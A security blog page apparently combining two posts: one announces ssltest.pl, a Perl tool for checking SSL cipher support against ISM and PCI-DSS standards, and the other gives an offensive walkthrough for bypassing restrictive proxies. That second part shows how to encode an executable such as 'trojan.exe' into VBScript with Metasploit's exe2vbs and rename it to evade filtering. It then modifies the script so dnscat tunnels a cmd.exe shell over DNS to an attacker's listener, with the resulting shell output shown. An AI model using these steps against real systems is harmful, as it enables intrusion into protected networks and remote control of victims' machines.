SSL Testing Tool ssltest.pl

Update: I have just updated this tool to version 0.1.1 to resolve a minor bug (thanks Gitsnik) and a few cosmetic issues.

I have used a number of different tools to check cipher support on SSL Servers, including SSLDigger, sslthing, CryptonarkOpenssl and even a few web based solutions.  Each tool has its good and bad points, but recently when trying to confirm that a particular badly behaved reverse proxy was compliant with DSD ISM crypto standards I ran into some problems.  The reverse proxy I was attempting to test was not correctly responding to or closing SSLv2 and TLSv1 sessions, causing a number of the tools that I commonly use to freeze up.

Cryptonark was able to run against the proxy without freezing up, due to its ability to timeout sessions, but it still wasn't providing the right results due to the fact that it only tests SSLv2 and TLSv1, but not SSLv3 - the only protocol that happened to work on this particular system.  The tool is written in Perl however, so I consequently decided to quickly modify it to test SSLv3 as well.

But what started off as a quick modification, soon turned into a complete rewrite, as I rapidly came up with a list of additional features I wanted in addition to the SSLv3 support - optional verbose output (such as listing unsupported ciphers, plus connection attempts), colour highlighting for DSD ISM compliance as well as PCI-DSS, control over timeout settings, the ability to individually test protocols, more detail in the explanatory text for each cipher, greppable compliance status for each cipher, etc.  I have essentially reused the essential design concepts of the Cryptonark tool (including colour coding output, use of IO::Socket::SSL to make SSL connections, documenting supported ciphers within the tool, checking supported ciphers against a compliance standard), but have completely rewritten the code from scratch to clean it up, reduce repetition and dependence on additional perl modules, and ease implementation of the new features.

So now the tool is complete, it includes all those additional features I wanted, and it works very nicely against that badly behaving reverse proxy that started this whole thing.

I have decided to make the tool available here, first of all so I can easily get to a copy when needed, and also just in case anyone else finds it useful.  Until I can think of something better, I'm releasing this under the imaginative name of ssltest.pl - so called because the tool is used to test ssl.

Here is a listing of the help:
lupin@lion:~$ ssltest.pl
ssltest 0.1.1
grey-corner.blogspot.com

Tests the provided SSL host to determine supported SSL protocols and ciphers.
Originally based on Cryptonark by Chris Mahns.

USAGE:

/home/lupin/bin/ssltest.pl [options] host port
/home/lupin/bin/ssltest.pl [--pci|--ssl2|--ssl3|--tls1] --list


OPTIONS:

        -v|--verbose    Verbosity level. Use once to also list tested
                        ciphers that are not enabled on the target host.
                        Use twice to also show when host connection
                        attempts are made.

        -r|--ssl2       Performs cipher tests for the sslv2 protocol.
                        Default is all protocols (ssl2, ssl3, tls1).

        -s|--ssl3       Performs cipher tests for the sslv3 protocol.
                        Default is all protocols (ssl2, ssl3, tls1).

        -t|--tls1       Performs cipher tests for the tlsv1 protocol.
                        Default is all protocols (ssl2, ssl3, tls1).

        -x|--timeout    Sets timeout value in seconds for connections.
                        Default 4.  Lower value for hosts that may not
                        properly close connections when an unsupported
                        protocol request is attempted.  Raise value for
                        slow links/hosts.

        -i|--ism        Marks enabled ciphers that are compliant with the
                        DSD ISMs standards for in-transit protection of
                        IN-CONFIDENCE information (ISM Sep 2009).  Default
                        compliance standard used (as opposed to PCI).

        -p|--pci        Marks enabled ciphers that are compliant with
                        PCI-DSS standards.  Provided as an alternate
                        compliance standard to the DSD ISM.

        -g|--grep       Outputs in a semicolon ";" separated greppable
                        format, adds text for compliance status.  Use
                        when you need to write output to a text file and
                        you want compliance status to be included in
                        text format instead of just being repressnted by
                        terminal colour.

        -l|--list       Lists ciphers checked by this tool and exits,
                        with output colour coded to indicate compliance
                        status with the selected standard (pci or ism).
                        Host and port values do not need to be provided
                        when using this option, as no host connection is
                        made.  Purely informational, so you can see what
                        ciphers are tested for, and which are deemed to be
                        compliant with the various standards.


If one or more protocol/s (SSLV2, SSLV3, TLSV1) are not specifically enabled,
tests for all protocols will be performed.  If you know that a host does not
support certain protocols (or does not properly close connection attempts made
using particular protocols) you can only include tests for the protocols you
are interested in to speed up the test.  If no compliance standard is
specifically enabled, or if more than one standard is enabled, the default
is to use the DSD ISM.


EXAMPLES:

/home/lupin/bin/ssltest.pl -vvrsi test.example.com 443

Performs testing on host test.example.com port 443, using the sslv3 protocol
(-s), and sslv2 protocol (-r), matches responses against the cipher
requirements in the ISM (-i) and provides double verbose output (-vv) where
ciphers unsupported by the destination host and connection attempts are printed
to screen.

/home/lupin/bin/ssltest.pl --list

Provides a list of all ciphers supported by the tool, colour coded to indicate
which ones are considered to be compliant with the ISM.  Add the --pci switch
to colour code listed ciphers for PCI compliance instead, or supply the --ssl2,
--ssl3 or --tls1 switches to only list ciphers appropriate to those protocols.

Here is the tool in action, performing a test of the SSL ciphers supported by www.google.com

lupin@lion:~$ ssltest.pl www.google.com 443
Checking for Supported SSLv2 Ciphers on www.google.com:443...
Checking for Supported SSLv3 Ciphers on www.google.com:443...
   DES-CBC3-SHA, 3DES 168 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   AES128-SHA, AES 128 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   AES256-SHA, AES 256 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   RC4-MD5, RC4 128 bits, RSA Authentication, MD5 MAC, RSA Key Exchange
   RC4-SHA, RC4 128 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
Checking for Supported TLSv1 Ciphers on www.google.com:443...
   DES-CBC3-SHA, 3DES 168 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   AES128-SHA, AES 128 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   AES256-SHA, AES 256 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange
   RC4-MD5, RC4 128 bits, RSA Authentication, MD5 MAC, RSA Key Exchange
   RC4-SHA, RC4 128 bits, RSA Authentication, SHA1 MAC, RSA Key Exchange

I have reproduced above the colour coding the tool uses, a really helpful feature "borrowed" from Cryptonark, showing which ciphers are considered to be supported under the DSD ISM.  You can see from the above output that no SSlv2 ciphers are supported, and that some ciphers are coloured green, indicating that they are compliant with the selected standard of the ISM, and others are coloured red, indicating they are not.

Some ideas I have for the next revision of this tool are to have it verify that the hostname matches the common name on the certificate, to confirm the certificate has not expired, and possibly also to verify that the certificate is signed by a trusted certificate authority and has not been revoked.

You can download version the tool from Github:

Let me know if you try this tool out and find it useful.

Bypassing Restrictive Proxies Part 1, Encoded Executables and DNS Tunneling

Uses for Download and Execute Script Shellcode

A little while back I posted my Download and Execute Script shellcode and mentioned that it could be used in bypassing restrictive proxy servers.  In this post I will give some quick examples of how you can actually do that.

The example scenarios I will describe are as follows, and involve having the script that is downloaded and executed:
  • write an arbitrary executable to disk and run it, or
  • open a reverse_http shell back through the restrictive proxy to the attackers system

Write an Executable to Disk and Run It

This scenario simply involves creating a vbscript file that contains an encoded copy of your chosen executable, that when run will decode the file, write it to disk, and then run it.  The end result of this is exactly the same as with regular download and execute shellcode, however unlike with regular download and execute shellcode this method will get past restrictive proxy servers that block files with executable content (you just need to make sure that the proxy server isn't also going to block pages with any of the script commands you have used, and if it does - obfuscate!). 

I was all set to write up a little program to automate this process of encoding an executable into a VBScript file, but then I stumbled onto the fact that a script to do this already exists - in Metasploit!

The script is called exe2vbs.rb and it sits inside the tools directory in the Metasploit 3 install directory.  Assuming your Metasploit3 install directory is /opt/metasploit3/ run it like so:

lupin@lion:~$ /opt/metasploit3/msf3/tools/exe2vbs.rb
    Usage: /opt/metasploit3/msf3/tools/exe2vbs.rb [exe] [vbs]

So as an example, if you want to encode your executable trojan.exe into a vbscript trojan.vbs, use the following command line

lupin@lion:~$ /opt/metasploit3/msf3/tools/exe2vbs.rb trojan.exe trojan.vbs
[*] Converted 282624 bytes of EXE into a vbs script

You now have a VB Script file that you can host on a webserver, which when run will write your encoded executable to disk and execute it.  Just rename the extension of the file to something innocuous like .tmp to bypass proxy filename filtering, stick the script file on a webserver, and create an exploit using the Download and Execute Script shellcode as demonstrated in the Usage Examples section of this post.

DNS Tunneling


What type of executables should you download onto the target system, supposing you actually want to do something useful on the target system and given that the system exists within a restrictive environment?  Well, one potential tool is Dnscat, which can allow you to tunnel a shell out of the network via DNS, a protocol which is likely to be allowed to communicate externally even in some restrictive environments. 

Running Dnscat to tunnel a shell out of a system does require some command line options to be used with the executable, however this is not a problem because you can add any necessary command line options to the executable bound into your script file by modifying the "run" line in the script file.  Lets look at an example:

Download the Windows version of Dnscat and encode like so:

lupin@lion:~/Downloads/nbtool/nbtool-0.04$ /opt/metasploit3/msf3/tools/exe2vbs.rb dnscat.exe dnscat.vbs
[*] Converted 121344 bytes of EXE into a vbs script

Then in the output vbs file look for a line similar to the following.  Your line will likely look a little different because the variable names are being randomised by the exe2vbs.rb script, but just keep your eye out for ".run" appearing at the end of the first word in a line near the end of the file.

cgbKynYWc.run CDWPYlgAnS, 0, true

Then modify this line to look like the following, replacing subdomain.example.com with your own DNS domain

cgbKynYWc.run CDWPYlgAnS & " --domain subdomain.example.com --exec ""cmd.exe""", 0, true

Essentially I have just added the following text to the line just before the first comma, these are the command line parameters that will be fed to the dsncat executable when it is run by the script:

& " --domain subdomain.example.com --exec ""cmd.exe"""

Once that is done execute the script on your victim machine using an exploit, and if you are running a dnscat listener on your attacking machine ('dnscat --listen' as root) when the script runs you will receive a shell back via DNS:

lupin@lion:~$ sudo dnscat --listen
Waiting for DNS requests for domain '*' on 0.0.0.0:53...
Timeout has occurred, resetting state
Received SYN!
Sending 'ACK'
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

Please note that this DNS shell tunneling method requires that your system be acting as the authorative name server for your chosen domain, AND it doesn't work in all environments (it certainly won't work when split DNS is implemented, but in some other cases it won't work either).  Read the dnscat wiki entry and this guide on DNS tunneling to learn more.  If you want to test this locally without having a nameserver for your own domain, add the "--dns 192.168.56.1" switch to the modified run command in your script, where 192.168.56.1 should be replaced with the IP address (don't use a DNS name) of your attacking system.

Note that directly specifying the IP address of your attacking system like this won't work in (properly configured) restrictive environments - direct client connections to external DNS servers should not be permitted and all DNS queries should be sent through the environments configured DNS server, in which case they will only reach your attacking system if its acting as an authorative name server for the chosen domain.

The next entry in this series will cover how to tunnel out a shell via the restrictive proxy itself, using some slightly modified Metasploit reverse_http code.